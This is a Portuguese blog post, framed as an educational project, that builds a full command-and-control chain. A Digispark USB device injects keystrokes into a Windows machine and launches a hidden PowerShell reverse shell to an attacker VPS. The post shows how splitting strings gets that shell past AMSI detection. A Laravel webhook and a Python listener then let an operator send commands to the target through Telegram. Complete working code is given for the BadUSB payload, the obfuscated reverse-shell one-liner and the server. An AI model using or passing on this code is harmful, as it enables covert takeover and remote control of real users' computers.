Post

Hack Once Control Anywhere

Motivação

Há pouco mais de um ano, tive uma conversa despretensiosa com meu amigo Leonardo Toledo, que, até então, eu sabia que trabalhava com BI. Surpreendentemente, ele compartilhou que havia migrado para a área de cyber security, integrando uma equipe de Red Team. Em outras palavras, Leonardo havia abandonado os gráficos, cubos e KPI’s e se tornado um hacker e como não há uma só pessoa apaixonada por tecnologia que não se encante por esse assunto, comigo não foi diferente.

Essa conversa não apenas se estendeu por alguns dias, mas também evoluiu, levando-o a me convidar para participar de um grupo de amigos focados em segurança da informação. Com o tempo, minha envolvência com o grupo cresceu, fiz e estou fazendo cursos na área de segurança e resultado disso é que hoje estou publicando meu primeiro texto sobre segurança da informação.

Introdução

O objetivo desse projeto é criar uma estrutura C2 (Command and Control) completa, permitindo, a partir de um agente, infectar uma máquina Windows e estabelecer um shell reverso para um servidor, controlável de qualquer dispositivo.

O C2 é o termo utilizado para descrever a capacidade de monitoramento e controle que um atacante tem sobre um sistema ou rede comprometida. No mundo da segurança cibernética, o C2 é fundamental para operações maliciosas, pois permite que o agressor dirija o software malicioso e execute comandos específicos que podem levar a uma ampla gama de atividades prejudiciais. Imagine um maestro regendo uma orquestra, onde cada músico (ou, neste caso, parte do sistema comprometido) aguarda sinais para tocar sua parte. O C2 é o maestro, dirigindo os músicos de forma coordenada para alcançar seu objetivo sinistro.

img-description Diagrama C2

Embora totalmente funcional, este C2 é simplificado, visando propósitos educacionais e quem sabe, despertar em alguém o interesse pelo tema.

Menos iniciativa e mais terminativa

Quando nos propomos a fazer algo de diferente em nossa vida, sempre acontecerá alguma coisa que nos forçara a voltar para a mesmice. E quando isso acontece precisamos escolher entre desistir que é bem mais fácil (ou vai me dizer que é difícil voltar para a casa da mamãe?) ou enfrentar essa tal “força opositora” e seguir em frente.

Durante a execução desse projeto, tudo parecia estranhamente perfeito, eu estava no prazo proposto, hardwares e softwares em perfeita sintonia e só faltava concluir a escrita desse artigo, ou seja, muito resultado e pouco desafio.

Até que um belo dia fui surpreendido por uma atualização do Windows na máquina que faria o papel do alvo e que fez com que o código que permitiria o controle dela simplesmente parasse de funcionar.

Nesse mesmo dia procurei por ajuda, foram horas e horas de conversa com amigos, pesquisa na internet, incontáveis perguntas para o ChatGPT, mas nada de muito significativo aconteceu. Porém em um dos pedidos de ajuda, Leonardo comenta que poderia ser a AMSI que estava bloqueando meu script e que ele possuía um artigo em seu blog sobre isso, naquele momento eu não tinha ideia do que era AMSI mas anotei o termo para depois pesquisar.

No outro dia, li e reli o seu artigo intitulado “Bypass de processos específicos de AMSI”, li e reli as referências do artigo até que encontrei um outro artigo que era uma referência da referência chamado “Hunting for AMSI Bypasses”.

Nesse artigo, Wee-Jing Chung explica de uma maneira muito simples o que é a AMSI, como ela funciona e como é incrivelmente simples conseguir o Bypass.

Muito prazer, eu me chamo AMSI

AMSI (Antimalware Scan Interface) é uma API do Windows na qual aplicativos ou serviços (incluindo terceiros) são capazes de verificar o conteúdo de um script e determinar se ele é malicioso. Se uma assinatura no script for registrada pelo provedor de serviços antimalware AMSI (Windows Defender por padrão), ela será bloqueada.

De forma simplificada, a AMSI executa os seguintes passos quando um script é carregado no PowerShell:

  • A DLL AMSI.DLL é carregada do disco para a memória.

  • Dentro da AMSI.DLL, existe uma função chamada AmsiScanBuffer(), que é responsável por verificar o conteúdo de um script.

  • Posteriormente, a função AmsiScanBuffer() verifica com o antivírus se alguma assinatura se encaixa com o script.

  • Se o conteúdo for considerado malicioso, ele será bloqueado.

O exemplo a seguir mostra a AMSI em ação ao tentarmos executar um script malicioso muito conhecido chamado Invoke-Mimiktaz

img-description AMSI em ação

Ao ver essa imagem tudo fez sentido, pois ao tentar executar o código responsável pelo controle da máquina infectada diretamente no PoweShell era exatamente essa mensagem que eu recebia, porém, por incrível que pareça nesse mesmo artigo, havia um tópico explicando como é muito fácil burlar a assinatura da AMSI e conseguir o Bypass.

Tudo o que um agente malicioso precisa fazer é alterar a carga útil, conforme mostrado abaixo.

img-description AMSI passada para trás

Quando eu vi a mágica acontecendo, não tive dúvidas, corri para o meu código e fiz as seguintes alterações:

1
2
3
4
5
# Original
DigiKeyboard.println(F("powershell -windowstyle hidden -command \"$client = New-Object System.Net.Sockets.TCPClient('<IP_VPS>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"")); //powershell to attacker

# Modificado
DigiKeyboard.println(F("powershell -windowstyle hidden -command \"$client = N'ew'-Ob'j'ect Sy's'tem.Net.Sockets.TCPClient('<IP_VPS>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"")); //powershell to attacker

Pronto, eu estava de volta ao jogo!

Eu fui aconselhado a escrever esse tópico, pois ele ilustra muito bem o espírito do que é ser hacker que é frequentemente envolto em equívocos e conotações negativas, associado principalmente a indivíduos que invadem sistemas de computador ilegalmente, roubam dados ou causam danos digitais. No entanto, essa percepção simplista não captura a amplitude e a profundidade do verdadeiro significado de ser um hacker. Na essência, ser hacker é muito mais do que a imagem estereotipada do criminoso cibernético. É sobre paixão, curiosidade, inovação e um profundo desejo de entender como as coisas funcionam.

Tecnologias utilizadas

A confluência de hardware, software e plataformas de comunicação é o que torna possível esse projeto C2.

- Digispark Attiny85: Atua como o agente infeccioso, sendo inserido na porta USB da máquina-alvo por um usuário infiltrado ou desavisado. Este dispositivo é uma microcontroladora baseada em Arduino, notável por seu tamanho reduzido e flexibilidade.

- IDE do Arduino: Ferramenta para criar e carregar o código malicioso na Digispark, um ambiente de desenvolvimento para programar dispositivos baseados em Arduino.

- VirtualBox com Windows 10 Pro: Utilizamos uma máquina virtual Windows para simular ambientes de ataque e desenvolvimento de estratégias de C2 em um ambiente seguro.

- Telegram: A interface que permite ao hacker iniciar ataques de qualquer lugar, oferecendo uma plataforma segura e fácil de usar para o envio de comandos.

- Laravel 9: Integra as APIs do Telegram com o servidor Linux, um framework PHP conhecido por sua simplicidade e robustez.

- Python 3: Responsável por criar uma conexão semelhante ao Netcat, ouvindo uma porta específica na VPS Linux para receber o shell reverso e transmitir comandos para a máquina infectada.

- VPS Linux: Hospeda as aplicações Laravel e Python, oferecendo um ambiente estável e seguro para o funcionamento do sistema C2.

Hardware Hacking

A Digispark é a agente infiltrada, a nossa Mata Hari, ela é quem se arrisca, avançando silenciosamente para abrir caminho para operações subversivas. A sua capacidade de ser programada para executar desde simples automações até a execução de payloads complexos foi determinante na sua escolha.

img-description Digispark Attiny85

Quando plugada na porta USB do computador, a Digispark se comporta como um teclado e executa os comandos que nela foram programados. O código malicioso utilizado, foi adquirido no repositório do GitHub MTK911/Attiny85 e entre os diversos que ele possui, o “Instant Shell” foi o escolhido, pois nos testes realizados, ele se mostrou muito eficiente na criação do shell reverso na máquina infectada.

Código Malicioso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "DigiKeyboard.h"
#define KEY_TAB 0x2b
void setup() {
  pinMode(1, OUTPUT); //LED on Model A
}
void loop() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
  DigiKeyboard.delay(500);
  DigiKeyboard.println("taskmgr"); //starting taskmgr
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
  DigiKeyboard.sendKeyStroke(KEY_N);//run
  DigiKeyboard.delay(2000);
  DigiKeyboard.print("powershell -noexit -command \"mode con cols=18 lines=1\"");//start tiny PowerShell
  DigiKeyboard.sendKeyStroke(KEY_TAB);
  DigiKeyboard.sendKeyStroke(KEY_SPACE);//turn on admin privileges
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //run
  DigiKeyboard.delay(5000);
  DigiKeyboard.println("taskkill /IM \"taskmgr.exe\" /F ");//killing taskmanager
  DigiKeyboard.delay(2000);
  DigiKeyboard.println("cmd");//run cmd
  DigiKeyboard.delay(2000);
  DigiKeyboard.println(F("powershell -windowstyle hidden -command \"$client = N'ew'-Ob'j'ect Sy's'tem.Net.Sockets.TCPClient('<IP_VPS>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"")); //powershell to attacker
  DigiKeyboard.delay(5000);
  digitalWrite(1, HIGH); //turn on led when program finishes
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW);
  DigiKeyboard.delay(5000);
}

Telegram

Integrar o Telegram ao projeto foi, surpreendentemente, uma das etapas mais simples, graças a experiência que eu tenho com Laravel e à descoberta da biblioteca TelegramBot, que simplificou ainda mais o processo.

Para manter o foco deste artigo, presumirei que você já possui um ambiente configurado com Laravel 9, PHP 8.1 e Apache2 em uma máquina Linux (utilizei Ubuntu 22.04) com suporte a HTTPS e acesso externo. Portanto, não detalharei a instalação e configuração dessas tecnologias, focando diretamente na integração com o Telegram.

Criando um Bot no Telegram

O primeiro passo para integrar o Telegram ao sistema C2 envolve a criação de um bot. Isso é feito através do BotFather no Telegram, que nada mais é do que um bot que cria bots da seguinte maneira:

- Acesso ao BotFather: No Telegram, utilize a barra de pesquisa para localizar o BotFather. Ele é o bot oficial do Telegram para a criação e gerenciamento de outros bots.

- Criação do Bot: Siga as instruções fornecidas pelo BotFather para criar seu novo bot. O processo é intuitivo, envolvendo a definição de um nome e um username para o bot.

- Obtenção do TOKEN: Ao final do processo de criação, o BotFather fornecerá um TOKEN único. Esse TOKEN é essencial para a integração, permitindo que o nosso sistema C2 se comunique com o bot criado.

img-description BotFather

Com o TOKEN do Telegram em mãos, desenvolvi um script PHP para integrar o bot ao nosso sistema C2. Este código é responsável por configurar o webhook do Telegram e processar as mensagens recebidas, seguindo a lógica de controle de acesso e execução de comandos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

namespace App\Http\Controllers;

use App\Classes\Mensagem;
use Illuminate\Http\Request;
use TelegramBot\Api\BotApi;

class HomeController extends Controller
{
    public function config(Request $request)
    {
        $bot = new BotApi(config("app.TELEGRAM_TOKEN"));
        $bot->setWebhook(config("app.TELEGRAM_WEBHOOK"));
    }

    public function webhook(Request $request)
    {
        try {
            $data = $request->all();

            $bot = new BotApi(config("app.TELEGRAM_TOKEN"));

            if ($data["message"]["from"]["username"] == config("app.TELEGRAM_USER")) {
                $bot->sendMessage($data["message"]["from"]["id"], sprintf("Olá %s, ataque iniciado - %s",
                $data["message"]["from"]["first_name"], $data["message"]["text"]));

                $nomeDoArquivo = "/var/www/html/arquivo.txt";

                if (file_exists($nomeDoArquivo)) {
                    unlink($nomeDoArquivo);
                }

                file_put_contents($nomeDoArquivo, strtolower(trim($data["message"]["text"])));
            }
            else {
                $nome = isset($data["message"]["from"]["first_name"]) ? $data["message"]["from"]["first_name"] : "amigo(a)";
                $bot->sendMessage($data["message"]["from"]["id"], sprintf("Olá %s, acesso negado!", $nome));
            }
        } catch (\Throwable $th) {
            $bot->sendMessage(config("app.TELEGRAM_FROM_ID"), $th->getMessage());
        }

        return response()->json([], "200");
    }
}

Funcionamento do Código

- Configuração do Webhook: A primeira rota (config) é utilizada para configurar a URL do webhook no Telegram, ela garante que qualquer mensagem enviada ao bot seja retransmitida para o webhook.

- Processamento das Mensagens: O método webhook é onde a interação acontece. Ele segue a seguinte lógica:

  • Verifica a autenticidade do usuário que enviou a mensagem, comparando com um usuário autorizado definido no arquivo .env.
  • Caso o usuário não seja autorizado, uma mensagem de “acesso negado” é enviada de volta para o usuário do Telegram.
  • Se autorizado, o script prossegue para verificar a existência do arquivo /var/www/html/arquivo.txt, removendo-o se já existir, para evitar conflitos de comando.
  • Por fim, o conteúdo da mensagem, que representa o comando a ser executado, é salvo no arquivo mencionado.

Este método nada ortodoxo, estabelece uma ponte para a comunicação entre o PHP e o Python, que será detalhada a seguir.

A cobra vai fumar

Na última parte e não menos importante, temos o Python desempenhando o papel de escutar uma porta específica na VPS Linux para o recebimento do shell reverso, além de monitorar a recepção dos comandos do Telegram que serão executados na máquina infectada.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import socket
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
import time
import os

host = '0.0.0.0'
port = 4444

caminho_para_monitorar = "/var/www/html"
nome_arquivo = "arquivo.txt"
caminho_completo = caminho_para_monitorar +"/" +nome_arquivo;

class MeuHandler(FileSystemEventHandler):
    def on_created(self, event):
        if nome_arquivo in event.src_path:
            if os.path.exists(caminho_completo):
                with open(caminho_completo, 'r') as arquivo:
                    conteudo = arquivo.read()
                    enviar_mensagem(conteudo)
                    time.sleep(2)
                    os.remove(caminho_completo)

def enviar_mensagem(mensagem):
    global client_socket
    if client_socket:
        client_socket.sendall(mensagem.encode('utf-8'))

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((host, port))
server_socket.listen()

print(f"Servidor escutando em {host}:{port}...")
print(f"Monitorando a criação de {nome_arquivo} em {caminho_para_monitorar}.")

client_socket, address = server_socket.accept()
print(f"Conexão de {address} estabelecida.")

event_handler = MeuHandler()
observer = Observer()
observer.schedule(event_handler, path=caminho_para_monitorar, recursive=False)
observer.start()

try:
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    observer.stop()

observer.join()
client_socket.close()
server_socket.close()

Funcionamento do Código

- Escuta de Porta: Semelhante ao netcat, o script espera conexões na porta especificada, pronta para receber o shell reverso da máquina infectada.

- Monitoramento de Arquivo: Utilizanado a biblioteca watchdog para monitorar a criação de um arquivo específico (arquivo.txt), indicando a recepção de novos comandos via Telegram.

- Execução de Comandos: Ao detectar a criação do arquivo, lê seu conteúdo e envia os comandos para a máquina infectada, permitindo o controle remoto da mesma.

Este script descreve um método eficaz de interação entre componentes do sistema C2, facilitando a execução remota de comandos na máquina alvo. A simplicidade e eficácia do código Python aqui apresentado são vitais para o sucesso do projeto.

Et voilá

Agora, vamos integrar as peças e simular um ataque controlado. Siga os passos abaixo para configurar e executar sua simulação:

Configuração Inicial no arquivo .env do Laravel:

Para iniciar, você precisa configurar algumas variáveis essenciais no arquivo .env do seu projeto Laravel. Essas variáveis são cruciais para estabelecer a comunicação entre o seu bot do Telegram e a aplicação. Configure as seguintes variáveis:

  • TELEGRAM_TOKEN: Token do Telegram obtido durante a criação do seu bot.
  • TELEGRAM_WEBHOOK: URL do Webhook associada à sua aplicação.
  • TELEGRAM_FROM_ID: ID da conversa que foi iniciada entre o seu usuário e o bot.
  • TELEGRAM_USER: Nome do usuário autorizado a enviar comandos para a máquina alvo.

Configuração do Webhook via Navegador:

É essencial acessar a rota de configuração (/config) pelo menos uma vez através do seu navegador. Isso permite configurar o Webhook no Telegram de forma adequada, garantindo que os comandos enviados para o bot seja recebidos na aplicação.

Iniciando a Escuta da Porta com Código Python:

Execute o script Python para iniciar a escuta na porta especificada. Este passo é crucial para garantir que os comandos enviados do Telegram sejam capturados e enviados para a máquina alvo.

Conexão da Digispark:

Conecte o dispositivo Digispark na porta USB da máquina alvo. Aguarde até que a luz vermelha indique que o dispositivo concluiu a infecção.

Envio de Comandos via Telegram:

Utilize o seu bot do Telegram para enviar comandos PowerShell. Exemplos de comandos incluem: notepad, calc, Restart-Computer. Essa etapa permite que você teste a eficácia da simulação e a resposta da máquina aos comandos.

Para uma demonstração visual do processo de comando e controle (C2) utilizando as instruções acima, assista ao vídeo anexado.

Referências

Esta postagem está licenciada sob CC BY 4.0 pelo autor.